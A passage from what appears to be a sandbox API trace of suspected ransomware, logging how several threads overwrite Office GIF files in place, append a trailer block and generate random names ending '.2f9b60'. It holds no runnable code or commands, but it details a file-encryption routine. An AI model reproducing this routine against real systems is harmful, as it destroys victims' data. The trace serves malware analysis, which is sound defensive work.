Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x4ee296dd [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x3bb3d715 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x3840a7e4 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x2a824421 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0xb18da37 [0156.727] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x75c60de0 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x701770e2 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x588ae114 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x37c49c85 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x536d8eeb [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x6f8d372c [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x1df45eec [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x3f5155a2 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x57a9a6 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x29842776 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x27a9df61 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x292b7e21 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x9597c63 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x5306e159 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x5541715f [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0xb41f5bd [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x681fcf9a [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x2dc366e1 [0156.728] RtlRandomEx (in: Seed=0x275ff5d0 | out: Seed=0x275ff5d0) returned 0x166070a [0156.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6850 [0156.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a030 [0156.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6880 [0156.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a030) returned 1 [0156.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6940) returned 1 [0156.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18dc0 [0156.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a030 [0156.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a62670 [0156.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a66280 [0156.742] ReadFile (in: hFile=0x798, lpBuffer=0x42a62670, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x275ff5d0, lpOverlapped=0x0 | out: lpBuffer=0x42a62670*, lpNumberOfBytesRead=0x275ff5d0*=0xf0, lpOverlapped=0x0) returned 1 [0156.742] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.742] WriteFile (in: hFile=0x798, lpBuffer=0x42a66280*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x275ff5d4, lpOverlapped=0x0 | out: lpBuffer=0x42a66280*, lpNumberOfBytesWritten=0x275ff5d4*=0xf0, lpOverlapped=0x0) returned 1 [0165.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19890 [0165.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19800 [0165.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19800) returned 1 [0165.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a66280) returned 1 [0165.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a62670) returned 1 [0165.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a030) returned 1 [0165.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18dc0) returned 1 [0165.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19800 [0165.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18dc0 [0165.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a030 [0165.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197d0 [0165.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197d0) returned 1 [0165.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c197d0 [0165.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19110 [0165.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19140 [0165.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19140) returned 1 [0165.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a030) returned 1 [0165.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18dc0) returned 1 [0165.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13310 [0165.910] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.911] WriteFile (in: hFile=0x798, lpBuffer=0x1ce13310*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x275ff6f0, lpOverlapped=0x0 | out: lpBuffer=0x1ce13310*, lpNumberOfBytesWritten=0x275ff6f0*=0x10a, lpOverlapped=0x0) returned 1 [0206.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda20 [0206.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda20) returned 1 [0206.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda20 [0206.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9f0 [0206.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9f0) returned 1 [0206.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0206.921] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="51") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="a7") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="70") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="80") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="04") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="53") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="b8") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="f3") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="26") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="12") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="18") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="d3") returned 2 [0206.921] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="8d") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="7d") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="7b") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="16") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="96") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="4b") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="44") returned 2 [0206.922] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="63") returned 2 [0206.922] RtlInitAnsiString (in: DestinationString=0x275ff768, SourceString="51a770800453b84dacf32612d818d38d7d7b16ea964b4463" | out: DestinationString="51a770800453b84dacf32612d818d38d7d7b16ea964b4463") [0206.922] RtlAnsiStringToUnicodeString (in: DestinationString=0x275ff738, SourceString="51a770800453b84dacf32612d818d38d7d7b16ea964b4463", AllocateDestinationString=1 | out: DestinationString="51a770800453b84dacf32612d818d38d7d7b16ea964b4463") returned 0x0 [0206.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced92b0 [0206.922] wcscat (in: _Dest=0x4314f0c0, _Source="51a770800453" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\51a770800453") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\51a770800453" [0206.922] wcscat (in: _Dest=0x4314f0c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\51a770800453.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\51a770800453.2f9b60" [0206.922] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\51a770800453.2f9b60", NtPathName=0x275ff710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\51a770800453.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x43128ae0 [0243.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43128ae0) returned 1 [0243.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43204a20) returned 1 [0243.600] NtQueryInformationFile (in: FileHandle=0x798, IoStatusBlock=0x275ff778, FileInformation=0x275ff788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x275ff778, FileInformation=0x275ff788) returned 0x0 [0243.600] NtSetInformationFile (FileHandle=0x798, IoStatusBlock=0x275ff778, FileInformation=0x275ff788, Length=0x28, FileInformationClass=0x4) Thread: id = 2631 os_tid = 0x2188 [0156.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif")) returned 0x20 [0156.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF", dwFileAttributes=0x20) returned 1 [0156.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6cc [0156.748] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x37d8fc40 | out: lpFileSize=0x37d8fc40*=234) returned 1 [0156.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6940 [0156.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f68b0 [0156.748] NtQuerySystemTime (in: CurrentTime=0x37d8fb00 | out: CurrentTime=0x37d8fb00*=132462177618886000) returned 0x0 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x555fcb1 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x40d3d40d [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x5c5c529f [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x6fca3cc3 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x416222f1 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x16a8e63b [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x6bf080f3 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x88f35d8 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x72039383 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x6b4e3933 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x34642e13 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x6b338664 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x6a16d734 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0xc186514 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x6d93a5e7 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x6d103e92 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x387af49a [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x153d5b02 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x7b9d9772 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x57b540cc [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x1e6ca610 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x618c755c [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x76608cac [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x2d361b9b [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x223e6eb4 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x1af999d [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x52320ed7 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x61a732b9 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x2dab0f8e [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x3ab86319 [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0xe00617f [0156.749] RtlRandomEx (in: Seed=0x37d8faf0 | out: Seed=0x37d8faf0) returned 0x22f065a4 [0156.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f68e0 [0156.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5ea0 [0156.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ea0) returned 1 [0156.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f68b0) returned 1 [0156.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e10 [0156.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5ea0 [0156.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a69e90 [0156.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a6daa0 [0156.760] ReadFile (in: hFile=0x6cc, lpBuffer=0x42a69e90, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x37d8faf0, lpOverlapped=0x0 | out: lpBuffer=0x42a69e90*, lpNumberOfBytesRead=0x37d8faf0*=0xea, lpOverlapped=0x0) returned 1 [0156.761] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.761] WriteFile (in: hFile=0x6cc, lpBuffer=0x42a6daa0*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37d8faf4, lpOverlapped=0x0 | out: lpBuffer=0x42a6daa0*, lpNumberOfBytesWritten=0x37d8faf4*=0xea, lpOverlapped=0x0) returned 1 [0166.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1550 [0166.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1520 [0166.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1520) returned 1 [0166.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a6daa0) returned 1 [0166.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a69e90) returned 1 [0166.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ea0) returned 1 [0166.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e10) returned 1 [0166.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1520 [0166.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e10 [0166.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5ea0 [0166.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1220 [0166.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1220) returned 1 [0166.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1220 [0166.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58d0 [0166.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58a0 [0166.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a58a0) returned 1 [0166.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ea0) returned 1 [0166.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e10) returned 1 [0166.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab850 [0166.313] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.313] WriteFile (in: hFile=0x6cc, lpBuffer=0x423ab850*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x37d8fc10, lpOverlapped=0x0 | out: lpBuffer=0x423ab850*, lpNumberOfBytesWritten=0x37d8fc10*=0x10a, lpOverlapped=0x0) returned 1 [0206.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0206.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b640) returned 1 [0206.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0206.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b670 [0206.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b670) returned 1 [0206.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fb70 [0206.795] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="26") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="f5") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="f2") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="fe") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="85") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="17") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="33") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="33") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="7d") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="62") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="48") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="45") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="71") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="a3") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb9c, _Format="%c%c" | out: _Dest="73") returned 2 [0206.795] sprintf (in: _Dest=0x1cd9fb9e, _Format="%c%c" | out: _Dest="c4") returned 2 [0206.795] RtlInitAnsiString (in: DestinationString=0x37d8fc88, SourceString="26caf5d8f2fe850d17ca33337d624dc7484571dc3ca373c4" | out: DestinationString="26caf5d8f2fe850d17ca33337d624dc7484571dc3ca373c4") [0206.795] RtlAnsiStringToUnicodeString (in: DestinationString=0x37d8fc58, SourceString="26caf5d8f2fe850d17ca33337d624dc7484571dc3ca373c4", AllocateDestinationString=1 | out: DestinationString="26caf5d8f2fe850d17ca33337d624dc7484571dc3ca373c4") returned 0x0 [0206.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fb000 [0206.796] wcscat (in: _Dest=0x4314ed50, _Source="26caf5d8f2fe" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26caf5d8f2fe") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26caf5d8f2fe" [0206.796] wcscat (in: _Dest=0x4314ed50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26caf5d8f2fe.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26caf5d8f2fe.2f9b60" [0206.796] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26caf5d8f2fe.2f9b60", NtPathName=0x37d8fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26caf5d8f2fe.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4314b3e0 Thread: id = 2632 os_tid = 0x218c [0156.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif")) returned 0x20 [0156.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF", dwFileAttributes=0x20) returned 1 [0156.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, 